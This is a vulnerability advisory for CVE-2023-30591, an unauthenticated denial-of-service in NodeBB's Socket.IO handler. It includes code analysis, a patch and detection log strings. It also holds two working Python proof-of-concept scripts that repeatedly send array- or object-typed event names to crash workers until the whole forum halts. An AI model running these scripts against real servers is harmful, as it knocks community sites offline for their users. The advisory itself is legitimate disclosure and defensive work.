Product | NodeBB |
---|---|
Vendor | NodeBB |
Severity | High - Unprivileged attackers are able to cause NodeBB to crash and exit permanently |
Affected Versions | < v2.8.11 (Commit 82f0efb) |
Tested Versions | v2.8.9 (Commit fb100ac) |
CVE Identifier | CVE-2023-30591 |
CVE Description | Denial-of-service in NodeBB <= v2.8.10 allows unauthenticated attackers to trigger a crash, when invoking eventName.startsWith() or eventName.toString() , while processing Socket.IO messages via crafted Socket.IO messages containing array or object type for the event name respectively. |
CWE Classification(s) | CWE-241: Improper Handling of Unexpected Data Type |
CAPEC Classification(s) | CAPEC-153: Input Data Manipulation |
Base Score: 7.5 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | None |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | None |
Integrity (I) | None |
Availability (A) | High |
NodeBB is an open-source community forum platform built on Node.js with the addition of either a Redis, MongoDB, or PostgreSQL database. One of the features of the platform is the utilization of Socket.IO for instant interactions and real-time notifications.
Due to improper parsing and handling of unexpected payloads supplied in Socket.IO messages, an unauthenticated attacker is able to send a malicious Socket.IO message to cause a NodeBB worker instance to crash. Although NodeBB’s cluster manager attempts to spawn a new replacement worker, it is possible to cause the NodeBB cluster manager to terminate after crashing NodeBB workers multiple times within a short span of time.
The vulnerability can be exploited by using an array as the Socket.IO event name to trigger a crash when invoking eventName.startsWith()
, or by using an object as the Socket.IO event name, and setting the toString
property, to trigger a crash when invoking eventName.toString()
.
NodeBB uses the Socket.IO library for enable bidirectional, event-based communication between clients and the server. Socket.IO typically uses WebSocket for communication, but supports HTTP long-polling as a fallback.
The vulnerability can be found in the Socket.IO message handler implemented in /src/socket.io/index.js
:
function onConnection(socket) {
...
socket.onAny((event, ...args) => {
const payload = { data: [event].concat(args) };
const als = require('../als');
als.run({ uid: socket.uid }, onMessage, socket, payload); // [1]
});
...
}
async function onMessage(socket, payload) {
...
const eventName = payload.data[0]; // [2]
...
const parts = eventName.toString().split('.'); // [3]
const namespace = parts[0];
const methodToCall = parts.reduce((prev, cur) => { // [4]
if (prev !== null && prev[cur] && (!prev.hasOwnProperty || prev.hasOwnProperty(cur))) {
return prev[cur];
}
return null;
}, Namespaces);
if (!methodToCall || typeof methodToCall !== 'function') { // [5]
...
return callback({ message: `[[error:invalid-event, ${escapedName}]]` }); // [6]
}
if (!eventName.startsWith('admin.') && ratelimit.isFlooding(socket)) { // [7]
winston.warn(`[socket.io] Too many emits! Disconnecting uid : ${socket.uid}. Events : ${socket.previousEvents}`);
return socket.disconnect();
}
...
}
At [1], the onMessage()
callback function is invoked with the payload
object containing the event
name and the args
arguments received. Observe that no type validation or coercion is performed on eventName
, and the eventName
is assumed to be of String
type.
At [2], the event name (e.g. topics.loadMoreTags
) is extracted from the payload
object.
At [3], the event name is converted to its string representation before splitting it into multiple parts. Subsequently, the Namespaces
object is traversed to get a reference of the event handler to be invoked and assigning it to methodToCall
at [4].
At [5], if methodToCall
is not a function, an error will be returned at [6].
At [7], eventName.startsWith('admin.')
is invoked. However, if eventName
is not a String
type, then eventName.startsWith('admin.')
throws a TypeError
as eventName.startsWith
is undefined
.
Interestingly, any data type may be used when supplying the event name in the Socket.IO message due to the following reasons:
JSON.parse()
to parse the user-supplied event name in the Socket.IO message. However, Socket.IO does not perform any validation on the event name, and assumes that the event name supplied by the user is of String
type.Socket
objects in Socket.IO effectively extends from Node.js’ EventEmitter
class, so most exposed API functions of Socket.IO socket objects rely on the implementation of EventEmitter
.EventEmitter
suggests that event names should either be of String
or Symbol
type, but no type validation check is performed on the event name.emitter.on()
) or looking up event listeners (e.g. via emitter.emit()
), the event name supplied as argument is implicitly casted to String
type.To avoid the early termination at [6] and preventing the condition at [5] from returning true
, while still causing a TypeError
to be thrown at [7], an array with a single element can be used to supply the event name:
> const eventName = ["topics.loadMoreTags"];
> ["topics.loadMoreTags"].toString()
"topics.loadMoreTags"
> const parts = eventName.toString().split('.'); // [3]
["topics", "loadMoreTags"]
> eventName.startsWith // at [7]
undefined
Similarly, it is also possible to cause an uncaught exception earlier when invoking eventName.toString()
at [3] by supplying an object with the toString
property defined:
> const eventName = {"toString": 1};
> eventName.toString()
// TypeError
In /loader.js
, the cluster manager attempts to restart the workers which exited abnormally:
Loader.addWorkerEvents = function (worker) {
worker.on('exit', (code, signal) => {
if (code !== 0) {
if (Loader.timesStarted < numProcs * 3) {
Loader.timesStarted += 1;
if (Loader.crashTimer) {
clearTimeout(Loader.crashTimer);
}
Loader.crashTimer = setTimeout(() => {
Loader.timesStarted = 0;
}, 10000);
} else {
console.log(`${numProcs * 3} restarts in 10 seconds, most likely an error on startup. Halting.`);
process.exit(); // [8]
}
}
console.log(`[cluster] Child Process (${worker.pid}) has exited (code: ${code}, signal: ${signal})`);
if (!(worker.suicide || code === 0)) {
console.log('[cluster] Spinning up another process...');
forkWorker(worker.index, worker.isPrimary);
}
});
...
}
Finally, at [8], if too many workers exited abnormally within the hard-coded 10 seconds threshold, the cluster manager concludes that a startup error had occurred and will terminate itself as well, killing all NodeBB workers.
Since an attacker can cause NodeBB workers to exit abruptly at will, this enables the attacker to terminate NodeBB completely, causing persistent denial-of-service.
No additional constraints were identified. An unauthenticated attacker is expected to be able to execute this exploit scenario reliably.
pip install "python-socketio[client]"
.dos-via-array.py
:
#!/usr/bin/env python3
import socketio
import sys
from time import sleep
delay = 0.5 # in seconds
def dos(target):
sio = socketio.Client()
sio.connect(f'{target}/socket.io')
sio.emit(["topics.loadMoreTags"], {}) # reference any valid event handler within Namespaces
def main(target):
while True:
try:
dos(target)
except KeyboardInterrupt:
sys.exit(0)
except:
pass
sleep(delay)
if __name__ == '__main__':
target = 'http://localhost:4567' if len(sys.argv) < 1 else sys.argv[1]
main(target)
./nodebb start
.python3 dos-via-array.py http://<target-nodebb>:<port>
.3 restarts in 10 seconds, most likely an error on startup. Halting.
pip install "python-socketio[client]"
dos-via-object.py
:
#!/usr/bin/env python3
import socketio
import sys
from time import sleep
delay = 0.5 # in seconds
def dos(target):
sio = socketio.Client()
sio.connect(f'{target}/socket.io')
sio.emit({"toString":0}, {}) # any object setting toString property
def main(target):
while True:
try:
dos(target)
except KeyboardInterrupt:
sys.exit(0)
except:
pass
sleep(delay)
if __name__ == '__main__':
target = 'http://localhost:4567' if len(sys.argv) < 1 else sys.argv[1]
main(target)
./nodebb start
.python3 dos-via-object.py http://<target-nodebb>:<port>
.3 restarts in 10 seconds, most likely an error on startup. Halting.
Implement a validation check to ensure that eventName
is of String
type before processing the message received. For example:
async function onMessage(socket, payload) {
...
+ if (typeof payload.data[0] !== "string") {
+ winston.warn('[socket.io] Non-string event name');
+ return socket.disconnect();
+ }
const eventName = payload.data[0];
...
}
It is also recommended to implement additional error handling to further prevent uncaught exceptions from crashing the NodeBB worker. For example:
function onConnection(socket) {
...
socket.onAny((event, ...args) => {
const payload = { data: [event].concat(args) };
const als = require('../als');
- als.run({ uid: socket.uid }, onMessage, socket, payload);
+ try {
+ als.run({ uid: socket.uid }, onMessage, socket, payload);
+ } catch (err) {
+ winston.error(`${event}\n${err.stack ? err.stack : err.message}`);
+ socket.disconnect();
+ }
});
...
}
It is possible to search for the following error messages in NodeBB’s standard output/error and their respective log files to identify exploitation attempts of this vulnerability:
error: uncaughtException: eventName.toString is not a function
error: TypeError: eventName.toString is not a function
error: uncaughtException: eventName.startsWith is not a function
error: TypeError: eventName.startsWith is not a function
3 restarts in 10 seconds, most likely an error on startup. Halting.
Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)